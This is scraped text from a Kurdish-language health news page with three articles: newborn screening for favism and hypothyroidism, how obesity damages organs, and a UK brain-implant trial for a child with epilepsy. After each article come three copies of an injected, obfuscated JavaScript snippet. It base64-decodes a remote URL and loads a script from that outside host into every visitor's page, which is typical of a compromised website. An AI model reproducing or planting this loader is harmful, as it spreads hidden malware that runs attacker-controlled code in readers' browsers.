د.بشار ابراهیم مزویری، تایبەتمەندێ نەخۆشیێن زارۆکان دیارکر هندەک نەخۆشی هەنە کو پێدڤیە هێشتا ل دەمژمێرێن ئێکێ پشکنین بۆ زارۆکی بهێتەکرن داکو بزانین ئەڤ نەخۆشیە هەنە یان نە، ژوانژی نەخۆشیا باقلکا و غودێ کو نابیت خۆ ل زارۆکی بگرین هەتا مەزن دبیت و نیشان بدەرکەڤن و خوینا زارۆکی کێم ببیت و رەوشا وی تێکبچیت ژنوی بێژین ئەڤ نەخۆشیە یێن هەین، بەلکو هەکە د 48 سعەتێن ئێکێ پشتی زارۆکبوونێ هەکە پشکنینا وی هاتباکرن دا زانین وی ئەڤ نەخۆشیە یا هەی و تووشی ڤان ئاریشا نەدبوو.
د.بشار ابراهیم، دیارکر دەمێ زارۆک پەیدادبیت پێدڤیە هژمارەکا پشکنینان بۆ بهێنەکرن کو ل جیهانێ ژمێژە وان یا دەستپێکری و یا بوویە ڕۆتین کو هەر زارۆکەکێ پەیداببیت پشکنینێن “غەربەلێ” بۆ دهێنەکرن کو بەری نوکە شەش هەتا حەفت نەخۆشیا دەستنیشان دکرن، بەلێ نوکە پتر 80 نەخۆشیا دەستنیشان دکەن و دشێن ب رێیا وێ ئێشێن وەکو یا باقلکا و تەلاسیمیایێ و غودە و گەلەکێن دی و گۆت: ئەڤ نەخۆشیە ئەو نەخۆشینە کو دشیاندایە بهێنە چارەسەرکرن و هەکە دایبابێن زاری پشکنین نەکرن و چارەسەرکرن، پاش زارۆکێ وان تووش بوو ڕەنگە مەترسی ددووڤدا بهێن.
د.بشار ابراهیم دیارکر هەکە بۆ نموونە غودە هەبیت و پشکنین نەکربن، دێ بینی پشتی چەندەکێ نیشان ل دەف زارۆکی دەرکەفتن و سست و خاڤ بوو و یێ قەلەوبووی و هێشتا زارۆک دێ بینی پیستێ وی وەکو مرۆڤێن مەزن دیاردکەت و یا ژ هەمیێ مەترسیتر ئەوە هەکە کارتێکرن ل مەژیێ زارۆکی کربیت دێ فەهما وی یا کێم بیت.
تایبەتمەندێ نەخۆشیێن زارۆکان دیارکر کو هندەک زارۆک د سرۆشتینە و دێ بینی ئێکسەر رەنگێ وی سپی بوو و دەستئاڤا وی چایێ و پێپسیێ لێ هات، خوینا راستەوخۆ گەلەک کێم دبیت و یێ خاڤە و سستە و ئێکسەر دێ پێدڤی خیێ بیت و دوسێ ڕۆژا مینیتە د خەستێ ڤە و هەکە ژ بچویکاتی زانیبا یا هەی ڕەنگە هەر ل دەستپێکێ باقلک و سماق و تشتێن کارتێکرنێ دکەن نێزیک نەکربان و ژیانا خۆ نورمال دەربازکربا.
دەربارەی غودێ ژی هەکە د 48سعەتێن ئێکێدا ئەو پشکنین دیاربکەت، ئەم چارەسەریا وان زارۆکان دکەین و دیسا دێ ژیانا خۆ بێ ئاریشە بوورینن، لەورا ئەم داخازێ ژ هەمی دایکا دکەین وان پشکنینان ئەنجام بدەن و ڤان نەخۆشیا دەستنیشان بکەن.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

قەلەوی، حالەتەكێ ساخلەمییێ یێ ئالۆز و ب مەترسی یە و دبیت ببیتە ئەگەرێ ژكاركەفتنا ئەندامێن لەشی ب ڕێیێن فسیۆلۆجی یێن جیاواز. مالپەرێ “Only My Health” چەند ڕێكێن سەرەكی دیاركرینە كو تێدا دبیت قەلەوی ئەندامێن لەشی ژكاربێخیت.
چەوا قەلەوی كارتێكرنێ ل سەر لەشێ مرۆڤی دكەت؟
1- سیستەمێ دل و دەمارێن خوینێ: قەلەوییێ پەیوەندییەكا بهێز ب نەخۆشییێن دی و دەمارێن خوینێ ڤە هەیە، وەكو نەخۆشییێن هشكبوونا دەماران و ژكاركەفتنا دلی و جەلتا مێشكی. ژبەركو قەلەوی هەودانێن لەشی زێدەدكەت و ئەڤەژی دبیتە ئەگەرێ هشكبوونا زێدەتر و تەنگبوونا دەماران.
2- مێلاك: نەخۆشییا دۆهنێ مێلاكێ یا نە كحۆلی ژ ئەنجامێ قەلەوییێ یە، ڤەكۆلینێن نوژداری دیاردكەن كو قەلەوی دبیت بهێتە گوهورین بۆ نەخۆشییا دۆهنێ مێلاكێ و ژكاركەفتنا مێلاكێ.
3- گۆلچیسك: ڤەكۆلینێن نوژداری دیاركریە، كارتێكرنێن قەلەوییێ وەكو بلندبوونا پەستانا خوینێ و شەكرێ، دبنە ئەگەرێ دروستبوونا نەخۆشییێن گۆلچیسكان یێن دومدرێژ و ژكاركەفتنا وان.
4- سیستەمێ هەناسەدانێ: قەلەوی دێت بتە ئەگەرێ لاوازكرنا سیستەمێ هەناسەدانێ و دروستكرنا ئاریشێن بهێنتەنگییێ و ژكاركەفتنا سیستەمێ هەناسەدانێ ب شێوەیەكێ گشتی.
5- پەنكریاس: قەلەوی ئەگەرەكێ سەرەكی یێ نەخۆشییا شەكرێ ژ جۆرێ دووێ یە كو دبیت ببیتە ئەگەرێ دروستكرنا كێشەیێن پەنكریاسێ و ژكاركەفتنا وێ، ژبەركو بلندبوونا بەردەوام یا ئاستێ گلۆكۆزی و ترشێن دۆهنی ل دەمێ قەلەوییێ دبنە ئەگەرێ ژكاركەفتنا خانێن بیتا و لاوازییا دەردانا ئەنسۆلینی.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

ل بریتانیا بۆ جارا ئێکێ ئامێرەک بۆ چارەسەریا نەخۆشییا “تەبێ” ل سەر زارۆکەکی دهێتە تاقیکرن و تایبەتمەند دبێژن، ‘’80٪ تەزێ ناهێلیت’’.
ئۆران نۆڵسنی 13 سالە و نەخۆشییا تەبێ هەیە و ئامیرەک بۆ چارەسەریا نەخۆشییا وی ل ناڤ سەریدا هاتە چاندن، نشتەرگەری ب هەڤپشکی دناڤبەرا نەخۆشخانا شەقامێ ئۆرمۆندا مەزن، زانکۆیا کۆلێژا لەندەن، زانکۆیا شاهنەیا بریتانیا و زانکۆیا ئۆکسفۆرد هاتەکرن.
تایبەتمەندان دڤێت وەکو چارەسەریەکا بنبڕ بۆ نەخۆشییا تەبێ ب کاربینن، راوێژکارەکێ نەخۆشخانێ بۆ نەخۆشیێن مێشک و دەماران ل دەف زارۆکان ئاشكرادکەت، ئەڤ داهێنانە دبیتە خالەکا وەرچەرخان هەکە بشێن پێشڤەببەن و بۆ زارۆکان زێدەتر بەردەست بیت. د. مارتن تیسداڵ، راوێژکارێ نەخۆشیێن مێشک و دەماران یێ زارۆکان دبێژیت: ‘’هەکە ئەم بشێین ئەڤێ چارەسەریێ پێشڤەببەین و بۆ زارۆکان زێدەتر بەردەست بکەین، ب ڕاستی ئەڤە دێ دەرفەتەک بیت بۆ وێ چەندێ شۆڕشەکێ د ژیانا واندا بکەین و رێکێ بدەینێ کو ژیانا ئاسایی یا زارۆکان ڤەبگەڕیتەڤە.’’ دایکا ئۆان دبێژیت، رۆژانە 300 جاران ئۆران تووشی تەبێ دبوو، بەلێ ژ ئەگەرێ ئەڤی ئامیری، ئومێدا ئاساییوونا کوڕێ وان بۆ ڤەگەڕیا، چونکو پشتی نشتەرگەریا چاندنێ نوکە کوڕێ وان دشێت ب ئاسوودەیی هەسپسواریێ و مەلەڤانیا بکەت بێ کو تووشی تەزێ ببیت.
جەستین نۆلسن، دایکا ئۆران گۆتی، “ئۆران دەست ب چاکبوونێ کریە، هەست دکەم پیچەک زارۆکێ من یێ ڤەدگەریت و راستە دێ ڤەکێشیت، بەلێ جارا ئێکێ یە د دەهـ سالان دا، مە هیڤێ هەبیت.’’
ئامێرە ناڤێ ۆی Picostimـە و ژلایێ کۆمپانیا Amber Therapeutics هاتیە دروستکرن، هاریکاریا رێکخستنا نیشانێن کارەباییا مێشکی ددەت.
ل دووڤ مایۆکلینیک، تەب، ژ ئەگەرێ نەڕێکییا کارباییا مێشکی دروستدبیت، چارەسەریا بنبڕ نیینە، سەرپەرشتیارێن چارەسەریا نوی دبێژن، پشتی شەش هەیڤا ل چاندنا ئامیرەی، هەتا نوکە یێسەرکەفتی بوویە، ئەڤەژی ئومێدەکە بۆ ئەو 50 ملیۆن کەسێن ل جیهانێدا تووشبوویێن نەخۆشییێ نە.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();